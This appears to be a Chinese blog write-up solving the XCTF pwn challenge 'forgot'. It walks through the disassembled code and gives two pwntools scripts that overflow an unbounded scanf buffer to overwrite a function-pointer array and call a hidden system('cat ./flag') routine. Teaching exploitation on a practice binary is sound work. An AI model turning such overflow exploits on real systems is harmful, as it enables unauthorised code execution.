攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)

攻防世界forgot——让人眼花目眩的一道题

今天做了一道攻防世界的进阶题,看起来复杂的一匹,但是实际上也就这吧 (随手关掉刚刚百度到的wp [doge]),做完后最直观的感受就是自己的代码阅读能力还有待提高。话不多说,先check个sec:

攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)_第1张图片

只开了NX(栈不可执行),四舍五入等于没开保护,直接上伪代码

反汇编伪代码如下:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h] BYREF
  _DWORD v3[10]; // [esp+30h] [ebp-54h]
  char s[32]; // [esp+58h] [ebp-2Ch] BYREF
  int v5; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v5 = 1;
  v3[0] = sub_8048604;
  v3[1] = sub_8048618;
  v3[2] = sub_804862C;
  v3[3] = sub_8048640;
  v3[4] = sub_8048654;
  v3[5] = sub_8048668;
  v3[6] = sub_804867C;
  v3[7] = sub_8048690;
  v3[8] = sub_80486A4;
  v3[9] = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(s, 32, stdin);
  sub_80485DD(s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v5 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v5 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v5 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v5 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v5 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v5 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v5 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v5 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v5 = 9;
        break;
      case 9:
        v5 = 10;
        break;
      default:
        continue;
    }
  }
  ((void (*)(void))v3[--v5])();
  return fflush(stdout);
}

讲道理,这个代码看不来真不能怪我,每一个sub就是一个函数,这谁顶得住呀

让我们先来看看函数逻辑,不然这题根本没法做:

首先申请了一个数组v3用来存放一大堆函数指针,函数具体内容先不看,接着往下看。

接下来是要你输入名字,作为一个已经把“gets”、“read”、“scanf”刻进DNA里的小白一下就不困了,然鹅定睛一看,申请了32字节的内存空间,也只是读入了32字节字符,只好不情不愿的提起裤子接着往下看。

然后就是函数sub_80485DD,主要作用就是balabala输出一大段废话:

Hi Sanchez
                        Finite-State Automaton

I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address

                                Cheers!

I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate

然后又进行了一次读入操作,这个读入就有、意思了,申请了32字节的内存空间但是 根 本 没 有 限 制读入大小,那不是为所欲为?后面的一大串都可以先不看,先来试试看能不能直接pwn掉。

首先考虑的当然就是return 2 system call,ROPgadget结果如下

ROPgadget --binary ./forgot --only "pop|ret"
Gadgets information
============================================================
0x08048adf : pop ebp ; ret
0x08048adc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048421 : pop ebx ; ret
0x08048ade : pop edi ; pop ebp ; ret
0x08048add : pop esi ; pop edi ; pop ebp ; ret
0x0804840a : ret
0x0804855e : ret 0xeac1
0x08048eb4 : ret 0xfff8

好家伙,pop 到 eax ecx edx 的语句一句都没有,题目又开了NX保护,所以return 2 shellcode 也做不到了,只好不情不愿地接着往下看。

后面就是一坨switch语句,由于代码过长,调用的各函数具体代码就不贴出来了,主要作用就是一个一个地判断输入的字符串到底是不是一个合法的邮箱格式,然后根据各个函数的返回结果改变v5的值。(讲道理,我看到这里就已经不想做这道题了,直接打开了百度开始搜wp)

紧接着就是一个函数指针的调用,具体调用的指针从数组v3中取,取用函数指针的编号是被switch语句蹂躏了一大轮的v5。

这个时候我们就要看看到底那一大堆函数到底说的啥,如无意外应该是有一个system函数来让我们return 2 text 的。

看看IDA pro的系统函数列表,果不其然看见了一个system函数,右击找到system函数在代码中被引用的位置。

果然,皇天不负有心人,在一大堆花里胡哨的函数里确实藏着这么一个出淤泥而不染的函数:

int sub_80486CC()
{
  char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF

  snprintf(s, 0x32u, "cat %s", "./flag");
  return system(s);
}

但是题目肯定是不会自己调用这个函数的,那我们只能开出一个让题目无法拒绝的条件

我们目前能够控制的只有栈,实际上,从 esp + 0x58(字符串 s 的首字节)往后的整个栈帧都处于我们的完全掌控下,意思是说,我们能控制的参数有存放函数指针的v3数组、变量v5和循环变量 i。其中,v5 与 i 会在后面的程序中被更改,所以没有控制的价值,剩下的参数就只剩下v3数组了。

说到这里,想必大家都有大胆的想法了:

方法一:严格地控制字符串的输入,使得自己能够预测最后v5的值,并更改序号v5所对应的函数指针为含有“cat flag”指令的函数sub_80486CC,使得函数按照我们所需的方向运行。

方法二:大半个栈帧都在我手里,有必要那么小心翼翼吗?直接一波把函数指针数组v3整个覆盖成sub_80486CC的地址他不香吗,任你v5是多少,只要执行v3中的函数就得直接跳到system函数。

像我这种粗人从来不喜欢搞那些绣花针的活,直接选了方案二,无脑爆破整个指针数组,然后不就为所欲为了吗?

exp如下

from pwn import *

context(arch = "i386", os = "linux")

p = process("./forgot")
#p = remote("111.200.241.244",33080)

sys_addr = p32(0x80486CC)

sys_setoff = 0x20  # len(s) = 32

payload = "a" * sys_setoff + sys_addr * 10

p.recvuntil(">")

p.sendline("Sanchez")

p.recvuntil(">")

p.sendline(payload)

p.interactive()

为了照顾到那些比较喜欢精确打击的兄弟们,我准备了另一套方法,就是仔细分析函数条件,发现当v5的初始值为1的且整个s的值为大写字母或者是 “*” 等字符的时候,v5 的值一直不变,这时只要把v3的首地址改成目标地址就行了

方法一exp

from pwn import *

context(arch = "i386", os = "linux")

p = process("./forgot")
#p = remote("111.200.241.244",33080)

sys_addr = p32(0x80486CC)

sys_setoff = 0x20  # len(s) = 32

payload = "A" * sys_setoff + sys_addr

p.recvuntil(">")

p.sendline("Sanchez")

p.recvuntil(">")

p.sendline(payload)

p.interactive()

所以说,这道题看似复杂,其实简单的一匹,要告诉自己,一切pwn题都是纸老虎,因特纳雄耐尔一定会实现!(bushi)

有啥问题可以在评论区尽情提,要是发现讲述中有知识性错误也欢迎在评论区提出。码字不易,xdm要是觉得有用的不妨点个赞支持下菜鸡本鸡我【doge】

你可能感兴趣的:(教程,反汇编,pwn,栈)